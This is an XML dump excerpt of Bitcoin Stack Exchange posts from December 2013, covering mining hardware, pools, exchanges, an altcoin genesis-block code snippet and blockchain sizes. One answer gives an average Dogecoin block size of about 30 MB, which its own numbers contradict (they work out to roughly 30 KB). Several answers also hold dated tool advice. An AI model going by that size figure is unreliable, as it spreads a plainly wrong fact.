  <row Id="19334" PostTypeId="2" ParentId="19330" CreationDate="2013-12-25T04:17:29.203" Score="0" Body="&lt;p&gt;This is a loaded questions worthy of numerous doctorate or master theses. Don't know the full answer, but can only speculate. Here is a scenario that should exercise a few cerebral muscles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Blockchain is effectively fractured into the three indicated geographical regions (this will be an &quot;extremely&quot; challenging task taking incredible national resources because of technologies such as The Onion Router), each region will have its own mining capacity. Let's assume the mining capacity is evenly distributed across the three regions, the number of transactions inside each region are comparable, and the mining operations are not impacted.  Then it is likely to take three times as long for a confirmation to occur in each region.  This behavior will continue until the 2016 block difficulty factor corrects itself within each region. For this reason, it is not unreasonable to suspect the likelihood of such a Blockchain fracturing event is likely to take place just prior to a 2016 block factor reset, nominally every two weeks. (Loyd's will probably take note of this point.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To realign the Blockchain will require a great merge &amp;amp; purge (having complexities and heated debates associated with it that is analogous to merging forked code between communities with different interests) requiring considerable international coordination, probably requiring treaties. The blocks that are purged are essentially revoked. This calls into question the validity of the transactions that will be pruned to support such a great merge.  The odds of rolling back the Blockchain will diminish quickly the longer the Blockchain remains fractured. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Blockchain remains fractured, the transactions will be regional.  People with the ability to travel and transport their Bitcoins could then spend their BTCs in one region, again in another, and another - roaming double spend attacks. Thus the intrinsic ledger value of the Bitcoins will diminish accordingly - a sudden inflation if you will. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each region will need to ensure their ledgers remain within their controlled &quot;security domain&quot; because the other regions will have comparable computing power that could be used for attacking the integrity of another region's Blockchain. To ensure the integrity of regional Blockchains, cross domain solutions (CDS) will be deployed at mining pools that have local supernode images. Supernodes will become protected &quot;critical infrastructure&quot; assets and the sharing of information from them will become highly controlled. Thus, solo mining is likely to end when such an epoch occurs, because few solo miners will not be capable of filtering the non-authorized regional transactions from the authorized ones. (For now, the primary market for CDS is for the exchanges to ensure counterfeit Bitcoins don't enter into their proprietary trading platforms.) Bitcoin clients will be forced to use service provider Bitcoin proxies within regional borders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, if a great fracture remains, the Bitcoin networks will start to look much more like SIP VoIP P2P networks where endpoints authenticate themselves to proxies, proxies establish trusted peering connections to one another. The mining pools will connect to the proxies. The mining pools will then become the keepers of the defacto regional Blockchain. The transactions architecture will become more centralized, but the ownership and banking of the Bitcoins can remain decentralized. Because of the centralized networking governments will be able to still gather intelligence associated transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deployment of infrastructure described immediately above will be costly, and will thus raise the burden of cost for adopting other P2P Crypto currencies.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-25T04:17:29.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19337" PostTypeId="2" ParentId="19255" CreationDate="2013-12-25T06:26:57.023" Score="1" Body="&lt;p&gt;Just because mining one litecoin is faster does not mean anything. I can mine 50000 Dodgecoin in the time I can get one bitcoin but my bitcoin is actually worth something. You need to determine for yourself what currencies you see being useful in a few years from now as well as how much you see each growing.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-25T06:26:57.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19338" PostTypeId="2" ParentId="18038" CreationDate="2013-12-25T07:13:22.757" Score="-2" Body="&lt;p&gt;You can try this &lt;a href=&quot;http://www.coinpatrol.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin price alert&lt;/a&gt; service. It isn't tied specifically to bitcoincharts, but it supports some of the bigger exchanges and can send notifications through text or e-mail.&lt;/p&gt;&#xA;" OwnerUserId="11383" LastActivityDate="2013-12-25T07:13:22.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19339" PostTypeId="1" AcceptedAnswerId="23622" CreationDate="2013-12-25T07:14:53.173" Score="5" ViewCount="9884" Body="&lt;p&gt;I am new to mining cryptocurrencies. I am planning to set up a wallet for both Litecoin and Dogecoin. I am just curious on asking what are the current total blockchain sizes of both coins? This is to prepare me to download them ahead of time.&lt;/p&gt;&#xA;" OwnerUserId="11382" LastEditorUserId="13998" LastEditDate="2014-02-28T08:01:45.637" LastActivityDate="2018-02-19T21:05:01.203" Title="How do I lookup Blockchain sizes for crypto-currencies like Litecoin and Dogecoin?" Tags="|blockchain|litecoin|dogecoin|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19340" PostTypeId="1" CreationDate="2013-12-25T08:41:00.750" Score="2" ViewCount="572" Body="&lt;p&gt;I just started with btc-e however I seem to have a load of partially filled orders. What happens with these? Can I cancel them? and if so, how do I do that and what are the consequences? Some have a price tag of $100 so the chances they get filled are minimal.&lt;/p&gt;&#xA;" OwnerUserId="11384" LastEditorUserId="132" LastEditDate="2013-12-25T17:39:26.113" LastActivityDate="2013-12-25T21:21:09.730" Title="Partially filled orders on btc-e" Tags="|buy-bitcoins|sell-bitcoins|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19341" PostTypeId="2" ParentId="19080" CreationDate="2013-12-25T09:41:01.630" Score="3" Body="&lt;p&gt;I think the important factors for scrypt in OpenCL are as follows&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPU core clock rate&lt;/li&gt;&#xA;&lt;li&gt;Memory clock rate / memory bandwidth&lt;/li&gt;&#xA;&lt;li&gt;Memory bus width / channel&lt;/li&gt;&#xA;&lt;li&gt;Computation Units&lt;/li&gt;&#xA;&lt;li&gt;Processing Elements&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can check out in Programming Guide of AMD Accelerated Parallel Processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;single or double precision of floating number does not matter. Either SHA-256 or scrypt is doing integer arithmetic operations.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastActivityDate="2013-12-25T09:41:01.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19342" PostTypeId="2" ParentId="19255" CreationDate="2013-12-25T10:06:04.717" Score="1" Body="&lt;p&gt;You need to check which crypto-currency gives you the more money should you mine it, and this depends on your hash-pawer, that coin's network's difficulty as well as the avg. value it has in the markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can guide yourself checking these sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://dustcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://coinwarz.com&quot; rel=&quot;nofollow&quot;&gt;http://coinwarz.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wheretomine.com/&quot; rel=&quot;nofollow&quot;&gt;http://wheretomine.com/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or use a &quot;multipool&quot; that automatically switches from mining one coin to the other depending on which one is the most profitable. Mined coins are sold immediately and you get paid in bitcoins. I've only used this one so far, seems good:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://middlecoin2.s3-website-us-west-2.amazonaws.com/&quot; rel=&quot;nofollow&quot;&gt;http://middlecoin2.s3-website-us-west-2.amazonaws.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-25T10:06:04.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19343" PostTypeId="2" ParentId="18893" CreationDate="2013-12-25T10:34:14.703" Score="3" Body="&lt;p&gt;Your shares are towards a block, once a block is completed you start on a new block and go back to 0 shares. Depending on your pool, you get paid per block or per share. Don't worry, if you look on your pools website you should be able to find what you made off of the block and how many shares you contributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restarting GUIMiner will not remove your shares, your shares are automatically recorded through your pool.&lt;/p&gt;&#xA;" OwnerUserId="11385" LastActivityDate="2013-12-25T10:34:14.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19345" PostTypeId="1" AcceptedAnswerId="20921" CreationDate="2013-12-25T11:20:45.967" Score="2" ViewCount="3806" Body="&lt;p&gt;I create my new altercoin,but when I first run it,it already shows:&quot;No block source available 5 week(s) behind&quot;. &#xA;And I start anther computer in the LAN, they link succefully.&#xA;I use the code of Datacoin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const uint256 hashGenesisBlockOfficial(&quot;f9f6d9a689f7a4093c71f397d8fe3fbef3a05cd6f919d51b4a9447aa22743dfb&quot;);&#xA;static const uint256 hashGenesisBlockTestNet(&quot;f9f6d9a689f7a4093c71f397d8fe3fbef3a05cd6f919d51b4a9447aa22743dfb&quot;);&#xA;&#xA;  // Genesis block&#xA;        qDebug()&amp;lt;&amp;lt;&quot;Genesis block&quot;;&#xA;        const char* pszStartTopic = &quot;The Times 26/Dec/2013 Chancellor on brink of second bailout for banks&quot;;//https://bitcointalk.org/index.php?topic=325735.0&quot;;&#xA;        CTransaction txNew;&#xA;        txNew.vin.resize(1);&#xA;        txNew.vout.resize(1);&#xA;        txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 0 &amp;lt;&amp;lt; CBigNum(999) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszStartTopic, (const unsigned char*)pszStartTopic + strlen(pszStartTopic));&#xA;        txNew.vout[0].nValue = COIN;&#xA;        txNew.vout[0].scriptPubKey = CScript();&#xA;        CBlock block;&#xA;        block.vtx.push_back(txNew);&#xA;        block.hashPrevBlock = 0;&#xA;        block.hashMerkleRoot = block.BuildMerkleTree();&#xA;        block.nTime    = 1387977869 ;//http://www.unixtimestamp.com/index.php&#xA;        block.nBits    = TargetFromInt(6);&#xA;        block.nNonce   = 49030125;&#xA;        block.bnPrimeChainMultiplier = (uint64) 5651310;&#xA;&#xA;        if (fTestNet)&#xA;        {&#xA;            block.nTime    = 1387977869 ;&#xA;            block.nBits    = TargetFromInt(4);&#xA;            block.nNonce   = 46032;&#xA;            block.bnPrimeChainMultiplier = (uint64) 211890;&#xA;        }&#xA;&#xA;        //// debug print&#xA;        uint256 hash = block.GetHash();&#xA;        printf(&quot;%s\n&quot;, hash.ToString().c_str());&#xA;&#xA;        qDebug()&amp;lt;&amp;lt;&quot;hash:&quot;&amp;lt;&amp;lt;hash.ToString().c_str();&#xA;        printf(&quot;%s\n&quot;, hashGenesisBlock.ToString().c_str());&#xA;        qDebug()&amp;lt;&amp;lt;&quot;hashGenesisBlock:&quot;&amp;lt;&amp;lt;hashGenesisBlock.ToString().c_str();&#xA;        printf(&quot;%s\n&quot;, block.hashMerkleRoot.ToString().c_str());&#xA;         qDebug()&amp;lt;&amp;lt;&quot;block.hashMerkleRoot:&quot;&amp;lt;&amp;lt;block.hashMerkleRoot.ToString().c_str();&#xA;        assert(block.hashMerkleRoot == uint256(&quot;a0c44c1b6dd50fcaa2bc1c4d7f8ca406506caee88578d751fb3824b41bc34d84&quot;));&#xA;        block.print();&#xA;&#xA;        assert(hash == hashGenesisBlock);&#xA;        {&#xA;            CValidationState state;&#xA;            assert(block.CheckBlock(state, true, true));&#xA;            assert(CheckProofOfWork(block.GetHeaderHash(), block.nBits, block.bnPrimeChainMultiplier, block.nPrimeChainType, block.nPrimeChainLength));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Failed at &lt;em&gt;assert(CheckProofOfWork(block.GetHeaderHash(), block.nBits, block.bnPrimeChainMultiplier, block.nPrimeChainType, block.nPrimeChainLength));&lt;/em&gt;.&#xA;And the debug.log says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CBlock(hash=f9f6d9a689f7a4093c71f397d8fe3fbef3a05cd6f919d51b4a9447aa22743dfb, hashBlockHeader=7d6aeeb7ca2b87d2f48bbd7a675c8374691c4f44f0db1a10de66436bfbcb0188, ver=2, hashPrevBlock=0000000000000000000000000000000000000000000000000000000000000000, hashMerkleRoot=a0c44c1b6dd50fcaa2bc1c4d7f8ca406506caee88578d751fb3824b41bc34d84, nTime=1387977869, nBits=06000000, nNonce=49030125, vtx=1)&#xA;      CTransaction(hash=a0c44c1b6dd50fcaa2bc1c4d7f8ca406506caee88578d751fb3824b41bc34d84, ver=1, vin.size=1, vout.size=1, nLockTime=0, data.size=0)&#xA;        CTxIn(COutPoint(0000000000000000000000000000000000000000000000000000000000000000, 4294967295), coinbase 0002e703455468652054696d65732032362f4465632f32303133204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73)&#xA;        CTxOut(error)&#xA;ERROR: CheckPrimeProofOfWork() : block header hash under limit&#xA;ERROR: CheckProofOfWork() : check failed for prime proof-of-work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything else can I change to make the genesis block work?&lt;/p&gt;&#xA;" OwnerUserId="11057" LastEditorUserId="11057" LastEditDate="2013-12-26T12:19:06.963" LastActivityDate="2018-05-21T23:10:32.450" Title="How to make a genesis block of my altercoin?" Tags="|bitcoind|genesis-block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19346" PostTypeId="1" CreationDate="2013-12-25T15:16:54.223" Score="1" ViewCount="752" Body="&lt;p&gt;From what I understand, a new block contains all the transactions within the last 10 minutes.  So when Alice sends Bob 10 BTC, how does this information get put onto the newest block?  I guess I am wondering who collects all the transactions and then constructs the new block?  Does the client facilitate this and how do we know it contains trustworthy data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when the block is discovered by a mining node, I understand that it tries to find a nonce which hashes to leading zeros as part of proof of work.  I read that miners help 'verify' transactions.  How does finding a nonce verify what is in the block?  Or does the verifying refer to other nodes checking that &quot;block + nonce&quot; hashes to correct number of leading zeros?&lt;/p&gt;&#xA;" OwnerUserId="11381" LastEditorUserId="5406" LastEditDate="2016-04-25T21:05:36.313" LastActivityDate="2018-03-08T19:20:55.047" Title="How exactly does a block get constructed and verified?" Tags="|block|mining-theory|verification|transaction-selection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19347" PostTypeId="1" CreationDate="2013-12-25T15:42:56.383" Score="1" ViewCount="15586" Body="&lt;p&gt;I'd like to mine with my Intel &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_HD_Graphics#History&quot; rel=&quot;nofollow&quot;&gt;HD Graphics 4000&lt;/a&gt; (128SP 16C 350&amp;nbsp;MHz/1&amp;nbsp;GHz, 1.8&amp;nbsp;GB DDR3 1.6&amp;nbsp;GHz 64-bit, Integrated Graphics). I think it has support for &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenCL&quot; rel=&quot;nofollow&quot;&gt;OpenCL&lt;/a&gt;, as I ran benchmark software, and it said it has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to use &lt;a href=&quot;https://en.bitcoin.it/wiki/CGMiner&quot; rel=&quot;nofollow&quot;&gt;CGMiner&lt;/a&gt; on Windows in the single pool mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o http://pool:port -u username -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it said it could not find any devices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.8.5 - Started: [2013-12-25 13:41:02]&#xA;--------------------------------------------------------------------------------&#xA; (5s):0.000 (avg):0.000h/s | A:0  R:0  HW:0  WU:0.0/m&#xA; ST: 2  SS: 0  NB: 2  LW: 5  GF: 0  RF: 0&#xA; Connected to dogepool.pw diff 16 with stratum as user Zignd.igor&#xA; Block: f190f72c...  Diff:472  Started: [13:41:07]  Best share: 0&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [S]ettings [D]isplay options [Q]uit&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2013-12-25 13:41:00] Started cgminer 3.8.5&#xA; [2013-12-25 13:41:01] No devices detected!&#xA; [2013-12-25 13:41:01] Waiting for USB hotplug devices or press q to quit&#xA; [2013-12-25 13:41:01] Probing for an alive pool&#xA; [2013-12-25 13:41:02] Pool 0 difficulty changed to 16&#xA; [2013-12-25 13:41:02] Network diff set to 472&#xA; [2013-12-25 13:41:07] Stratum from pool 0 detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="5102" LastEditorUserId="1405" LastEditDate="2014-01-09T10:35:10.003" LastActivityDate="2014-01-09T10:35:10.003" Title="How to mine with Intel HD Graphics 4000?" Tags="|gpu|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19348" PostTypeId="1" CreationDate="2013-12-25T15:51:23.380" Score="1" ViewCount="133" Body="&lt;p&gt;I'm new at this. I opened a wallet on my computer, I  have a physical wallet I'm trying to get the coins from my physical wallet to my computer. I went into my wallet, clicked help, selected the debug window option, clicked on the console tap typed in my importprivkey  then what do I do?&lt;/p&gt;&#xA;" OwnerUserId="11393" LastActivityDate="2014-02-26T10:39:24.600" Title="Receive coins from my physical wallet" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19349" PostTypeId="2" ParentId="19311" CreationDate="2013-12-25T15:52:38.533" Score="1" Body="&lt;p&gt;As others have said, due to the fear of you asking to be charged back, almost no seller is going to accept a credit/debit card in exchange for Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your bank allows you to get cash as a kind of &quot;credit card transaction&quot; (some do!) you might want to try that option and then pay in cash - you can &lt;strong&gt;always&lt;/strong&gt; find people gladly selling in exchange for cash, and you can still pay monthly (in fiat) to your bank:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-25T15:52:38.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19350" PostTypeId="2" ParentId="19346" CreationDate="2013-12-25T16:21:49.287" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So when Alice sends Bob 10 BTC, how does this information get put onto the newest block? I guess I am wondering who collects all the transactions and then constructs the new block? Does the client facilitate this and how do we know it contains trustworthy data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what the Bitcoin software does. It relays transactions from anyone who generates them to the miners so they can include them in blocks. You know the data is trustworthy because you always check it completely. Bitcoin operates based entirely on mathematical rules and the data either follows the rules or it does not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And when the block is discovered by a mining node, I understand that it tries to find a nonce which hashes to leading zeros as part of proof of work. I read that miners help 'verify' transactions. How does finding a nonce verify what is in the block? Or does the verifying refer to other nodes checking that &quot;block + nonce&quot; hashes to correct number of leading zeros?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All the computational effort that a miner does on a block cannot be separated from that block or the nonce would no longer produce the leading zeroes. One of Bitcoin's rules is that among valid blocks, the one with the most computational effort wins. By heaping absurd amounts of computation on top of blocks, the mining process ensures that someone else cannot create their own valid block that &quot;wins&quot; over a block that contains a transaction you have considered accepted.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-25T16:21:49.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19351" PostTypeId="2" ParentId="19331" CreationDate="2013-12-25T16:23:10.993" Score="3" Body="&lt;p&gt;There's absolutely nothing you need to do per address, so the number of addresses has no effect. You only need to process each transaction.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-25T16:23:10.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19353" PostTypeId="2" ParentId="19347" CreationDate="2013-12-25T17:04:59.077" Score="2" Body="&lt;p&gt;The latest cgminer no longer supports GPU mining -- it is now exclusively for ASIC mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the old 3.7.2 version, which is the last one to support GPU:&#xA;&lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.7/&quot; rel=&quot;nofollow&quot;&gt;http://ck.kolivas.org/apps/cgminer/3.7/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-12-25T17:04:59.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19355" PostTypeId="1" CreationDate="2013-12-25T18:18:03.753" Score="1" ViewCount="935" Body="&lt;p&gt;I am currently running Ubuntu 12.04 LTS on an i5 core and Ivy Bridge GPU. Using bfgminer I have successfully mined on my CPU, but my GPU is never recognized. I have installed OpenCl for Intel processors. I had my friend test his GPU using bfg on Win7 and his worked out-of-the-box. I would like to know how to use my Intel HD 4000 graphics for mining with bfg and Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="11397" LastActivityDate="2013-12-25T18:18:03.753" Title="Using bfgminer on an Intel GPU on Ubuntu 12.04" Tags="|gpu|ubuntu|bfgminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19357" PostTypeId="1" AcceptedAnswerId="19364" CreationDate="2013-12-25T19:12:18.587" Score="1" ViewCount="2621" Body="&lt;p&gt;Will someone with a 800&amp;nbsp;Mhash/s device earn as many bitcoins in one day as someone with a 10&amp;nbsp;Ghash/s device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can't add a comment to &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10731/mining-pool-hashrate-effect-on-a-miners-income?newreg=6c9efd57adad498d922b8410203d080c&quot;&gt;Mining pool hashrate effect on a miner&amp;#39;s income&lt;/a&gt;&#xA;so I'm asking here.)&lt;/p&gt;&#xA;" OwnerUserId="11400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-10T09:30:17.777" Title="Does mining in a pool with a bigger hashrate mean more bitcoins?" Tags="|mining-profitability|hashpower|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19358" PostTypeId="2" ParentId="12399" CreationDate="2013-12-25T19:51:18.737" Score="3" Body="&lt;p&gt;It has to do with this: &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BIP_0016&lt;/a&gt;.&#xA;Instead of providing the necessary scriptSignature when sending coins, you can just provide the hash of the script, and let the redeemer provide the actual script upon spending.&lt;/p&gt;&#xA;" OwnerUserId="11401" LastActivityDate="2013-12-25T19:51:18.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19361" PostTypeId="2" ParentId="19340" CreationDate="2013-12-25T21:21:09.730" Score="1" Body="&lt;p&gt;You can cancel them in the &lt;code&gt;Your current active orders&lt;/code&gt; section of the &lt;a href=&quot;https://btc-e.com/exchange&quot; rel=&quot;nofollow&quot;&gt;Trade tab&lt;/a&gt; by clicking the cancel link under &lt;code&gt;Action&lt;/code&gt;. The remainder of the order is taken off the books and you can place new orders using the funds which are returned to your balance.&lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-12-25T21:21:09.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19363" PostTypeId="2" ParentId="19276" CreationDate="2013-12-25T22:53:53.710" Score="3" Body="&lt;p&gt;My current real-time estimate using &lt;a href=&quot;https://github.com/ayeowch/bitnodes&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ayeowch/bitnodes&lt;/a&gt; is 8000 to 10000 nodes that are reachable at any one time with churn rate of 300 to 500 nodes every 5 minutes. The churn could be due to several factors, e.g.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Node went offline&lt;/li&gt;&#xA;&lt;li&gt;Node reached max. allowed connections&lt;/li&gt;&#xA;&lt;li&gt;Time of day, e.g. more nodes are online during US working hours&lt;/li&gt;&#xA;&lt;li&gt;Network errors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11412" LastEditorUserId="11412" LastEditDate="2014-04-07T11:08:37.647" LastActivityDate="2014-04-07T11:08:37.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19364" PostTypeId="2" ParentId="19357" CreationDate="2013-12-25T23:05:57.347" Score="1" Body="&lt;p&gt;No, payments are distributed proportionally to the contributed work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chance to find a block is proportional to the hash-rate of a mining entity. So, if watched sufficiently long you could expect to get the same percentage of all rewards as the portion of the total mining power you contribute. This principle remains the same whether you solo mine or pool mine (minus any fees the pool costs you). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the pool combines its power to find more rewards, which it distributes among its contributers according to the size of the contribution of shares to the pool. I assume the operator gets a percentage of the reward in some fashion. That way you gain a steady small income instead of winning the lottery every few decades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, whether we are talking about mining pools in the network or participants in a mining pool, if watched for a sufficiently long period of time the entity with 10 GH/s will earn 12.5 times the amount of the entity with 800 MH/s.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-25T23:20:37.263" LastActivityDate="2013-12-25T23:20:37.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19365" PostTypeId="1" CreationDate="2013-12-25T23:07:36.273" Score="4" ViewCount="3128" Body="&lt;p&gt;In 50 years or more from now, what will happen with bitcoins when all of them are issued? Will mining stop and will there only be a limited amount of bitcoins in circulation?&lt;/p&gt;&#xA;" OwnerUserId="11414" LastEditorUserId="5406" LastEditDate="2016-03-11T15:04:33.923" LastActivityDate="2016-03-11T15:04:33.923" Title="What will happen when all bitcoins are issued?" Tags="|mining-reward|reward-schedule|blockspace-market|" AnswerCount="3" CommentCount="0" ClosedDate="2015-12-02T15:57:05.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="19366" PostTypeId="1" CreationDate="2013-12-25T23:09:45.380" Score="1" ViewCount="1102" Body="&lt;p&gt;I wanted to install a dogecoin client on Debian and compiled myself. After starting it it stoped saying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: An error occured while setting up the RPC port 22555 for listening:  bind: Cannot assign requested address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am sure that there is no other program using this port and IPv6 also works fine which I tested on my Apache server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully you have an idea how to solve this.&lt;/p&gt;&#xA;" OwnerUserId="11411" LastActivityDate="2014-01-27T08:41:23.097" Title="Dogecoin daemon bind error" Tags="|dogecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19367" PostTypeId="2" ParentId="19365" CreationDate="2013-12-25T23:16:05.367" Score="1" Body="&lt;p&gt;Yes there will be a point from when on there are no new bitcoins. This is a point which makes bitcoin interesting for people because there cannot be inflation by creating new money. Currencies which are controlled by govnernment can easily add new money and cause inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the mining I am not sure but it should still exist because it is needed to create new blocks in which transactions are stored, therefore, mining is always needed, but they could lower the difficulty. Even though this is speculation.&lt;/p&gt;&#xA;" OwnerUserId="11411" LastActivityDate="2013-12-25T23:16:05.367" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19368" PostTypeId="2" ParentId="19339" CreationDate="2013-12-25T23:23:36.703" Score="1" Body="&lt;p&gt;You can go to &lt;a href=&quot;http://block-explorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://block-explorer.com/&lt;/a&gt; and &lt;a href=&quot;http://dogechain.info/&quot; rel=&quot;nofollow&quot;&gt;http://dogechain.info/&lt;/a&gt; to see the latest number of each currency. In each blockexplorer the latest block is in the first row so you can see the total amount of blocks from the id of this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now(25th Dec. 2013) Litecoin is roughly 500000 blocks and Dogecoin 30000 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an estimation of my dogecoin wallet the average block is about 30 MB (based on 2,4 GB data and 77000 blocks) but it highly depends on the current amount of transactions.&lt;/p&gt;&#xA;" OwnerUserId="11411" LastEditorUserId="11411" LastEditDate="2014-01-29T00:06:29.157" LastActivityDate="2014-01-29T00:06:29.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
